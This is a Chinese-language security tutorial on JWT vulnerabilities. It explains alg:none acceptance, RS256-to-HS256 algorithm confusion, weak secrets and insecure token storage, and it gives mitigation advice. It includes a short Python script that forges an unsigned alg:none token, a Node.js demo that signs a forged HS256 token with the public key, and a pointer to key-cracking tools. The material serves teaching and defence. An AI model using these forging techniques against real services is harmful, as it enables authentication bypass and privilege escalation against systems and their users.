JWT Token安全漏洞分析与绕过技巧

JWT Token安全漏洞分析与绕过技巧

概述

JSON Web Token(JWT)作为现代Web应用中常用的身份认证与授权机制,凭借其轻量、易用和无状态的特性,被广泛应用于分布式系统和微服务架构中。然而,JWT的设计和实现中若存在安全隐患,容易导致认证绕过、权限提升甚至敏感数据泄露。本文旨在深入解析JWT的安全漏洞及其绕过技巧,结合实战步骤和代码示例,帮助安全研究人员和开发者更好地理解和防御相关攻击。


JWT基本原理与结构

JWT由三部分组成:

  • Header(头部):描述签名算法与Token类型
  • Payload(负载):包含声明(Claims),如用户身份、权限等信息
  • Signature(签名):通过指定算法对Header与Payload签名,保证完整性和真实性

示例格式:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9  // Header
.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ  // Payload
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  // Signature

JWT的安全依赖于签名算法的强度以及服务端对算法的正确校验。


JWT常见安全漏洞分析

1. 算法混淆漏洞(Alg None)

JWT规范允许alg: none,代表不进行签名验证。这被攻击者利用,伪造无签名Token直接通过验证。如果服务端错误地接受了alg: none,攻击者即可伪造任意Payload绕过认证。

根因

  • 服务端未严格限制允许的算法列表
  • 信任客户端传入的Alg字段

2. 对称与非对称算法混用漏洞

JWT支持对称(如HS256)和非对称(如RS256)签名算法。攻击者通过将algRS256修改为HS256,再用公钥作为HMAC的密钥进行签名,若服务端错误验证,会导致攻击绕过。

根因

  • 服务端使用同一个密钥库验证不同算法
  • 未对算法类型进行严格区分与校验

3. 弱密钥/泄露密钥导致签名破坏

密钥过于简单或被泄露时,攻击者可以计算有效签名,伪造合法Token。

根因

  • 使用易猜测的密钥
  • 密钥管理松懈导致泄露

4. 不安全的Token存储与传输

Token存储在浏览器localStorage或传输过程中未加保护,容易被XSS或中间人攻击窃取。

根因

  • 浏览器存储不当
  • 未使用HTTPS传输

5. Payload未加密,敏感信息泄露

JWT默认Payload未加密,所有声明均可被Base64解码。若包含敏感信息,容易泄露隐私。


JWT绕过实战技巧

技巧一:利用Alg None绕过

测试目标是否支持alg: none绕过:

  1. 解码目标Token,修改Header中的algnone
  2. 删除Signature部分,形成结构:Header.Payload.
  3. 使用修改后的Token访问接口,观察是否验证成功。

示例代码(Python)

import base64
import json

def base64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

token = '原始Token'
header, payload, signature = token.split('.')

header_json = json.loads(base64.urlsafe_b64decode(header + '=='))
header_json['alg'] = 'none'
new_header = base64url_encode(json.dumps(header_json).encode())

new_token = f"{new_header}.{payload}."
print(f"绕过Token: {new_token}")

技巧二:算法混淆攻击(RS256 → HS256)

针对服务端支持RS256签名:

  1. 从认证服务中提取公钥(通常是.pem格式的公钥)。
  2. 将Token Header中的alg修改为HS256
  3. 使用公钥内容作为HMAC的密钥重新签名Payload。
  4. 用新的Token绕过验证。

示意流程

  • 原Header:

    {
      "alg": "RS256",
      "typ": "JWT"
    }
    
  • 修改为:

    {
      "alg": "HS256",
      "typ": "JWT"
    }
    

技巧三:暴力破解HS256密钥

利用字典攻击或在线生成器针对弱密钥特征爆破,生成有效签名。

工具推荐jwt_tooljwt-cracker等。


代码示范:JWT验证弱点利用演示(Node.js)

const jwt = require('jsonwebtoken');
const fs = require('fs');

// 模拟JWT发放与验证
const privateKey = fs.readFileSync('./private.pem');
const publicKey = fs.readFileSync('./public.pem');

// 使用RSA签名Token
const token = jwt.sign({ user: "admin" }, privateKey, { algorithm: 'RS256' });
console.log("原始Token:", token);

// 攻击者修改alg为HS256,伪造Token
const decode = jwt.decode(token, { complete: true });
decode.header.alg = "HS256";

// 使用publicKey作为HMAC密钥重新签发
const forgedToken = jwt.sign(decode.payload, publicKey, { algorithm: 'HS256', header: decode.header });
console.log("伪造Token:", forgedToken);

// 服务器使用RSA验证 (错误配置下,可能被HS256伪造绕过)
try {
    const verified = jwt.verify(forgedToken, publicKey, { algorithms: ['RS256'] });
    console.log("验证通过:", verified);
} catch (err) {
    console.log("验证失败:", err.message);
}

防御建议

1. 强制服务端验证算法白名单

  • 仅允许使用已知安全算法(推荐HS256/HS512或RS256/ES256)
  • 不信任客户端传入的alg字段,直接在服务端硬编码算法

示例:

jwt.verify(token, secretOrPublicKey, { algorithms: ['RS256'] });

2. 切勿支持alg: none

  • 禁止解析alg: none的Token
  • 及时升级JWT库版本,避免历史漏洞

3. 密钥管理强化

  • 采用强随机生成密钥(至少128位熵)
  • 定期轮换密钥、避免硬编码
  • 使用硬件安全模块(HSM)存储密钥

4. 严格区分对称与非对称密钥

  • HS系列算法使用对称密钥
  • RS/ECDSA系列算法使用私钥签名、公钥验证
  • 验签时区分算法,避免混淆

5. 安全传输和存储

  • 使用HTTPS保障Token传输安全
  • 通过HttpOnly、Secure属性的Cookie存储Token,避免XSS窃取
  • 避免在Payload中存放敏感数据,必要时加密存储

6. 启用短生命周期Token并结合刷新机制

  • 减少单个Token被滥用时间窗口
  • 结合RefreshToken机制强化安全控制

总结

JWT虽然设计简洁且应用广泛,但其安全机制复杂且易用不当导致漏洞频发。服务端必须严格控制签名算法和密钥的管理,避免算法混淆和alg: none族漏洞的发生。攻击者常利用服务端不严谨的验证策略轻松伪造Token,实现认证绕过或权限提升。通过本文的漏洞剖析、绕过技巧以及示例代码,读者可更深入理解JWT安全风险,结合防御建议,构建更为稳健的认证体系,保障应用安全。


参考资料

  • JWT官方规范(RFC 7519)
  • OWASP JWT Cheat Sheet
  • 安全社区公开漏洞报告与分析文章

本文作者为资深网络安全专家,致力于身份认证安全与应用渗透测试技术研究。